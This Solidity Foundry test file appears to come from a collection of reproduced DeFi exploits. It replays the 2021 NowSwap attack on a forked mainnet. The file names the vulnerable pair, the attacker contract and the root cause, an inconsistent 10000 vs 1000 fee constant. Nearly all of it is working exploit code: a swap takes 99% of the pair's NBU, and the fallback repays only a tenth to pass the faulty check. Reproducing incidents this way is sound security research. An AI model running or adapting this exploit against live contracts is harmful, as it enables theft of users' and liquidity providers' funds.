src/test/2021-09/NowSwap_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7interface IERC20Custom {
8    function transfer(address, uint256) external;
9}
10 
11/*
12    Vulnerable contract: https://etherscan.io/address/0xa14660a33cc608b902f5bb49c8213bd4c8a4f4ca#code unverified contract
13    root cause: inconsistent value in the code, 10000 vs 1000.
14    Attacker contract: 0x5676e585bf16387bc159fd4f82416434cda5f1a3*/
15contract ContractTest is Test {
16    address public pair = 0xA0Ff0e694275023f4986dC3CA12A6eb5D6056C62; //NWETH/NBU
17    address public nbu = 0xEB58343b36C7528F23CAAe63a150240241310049;
18    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
19 
20    function setUp() public {
21        cheats.createSelectFork("mainnet", 13_225_516); //fork bsc at block 13225516
22    }
23 
24    function testExploit() public {
25        console.log("Before exploiting", IERC20(nbu).balanceOf(address(this)));
26 
27        uint256 amount = IERC20(nbu).balanceOf(pair) * 99 / 100;
28 
29        IUniswapV2Pair(pair).swap(0, amount, address(this), abi.encodePacked(amount));
30 
31        console.log("After exploiting", IERC20(nbu).balanceOf(address(this)));
32    }
33 
34    fallback() external {
35        IERC20Custom(nbu).transfer(pair, IERC20(nbu).balanceOf(address(this)) / 10);
36    }
37}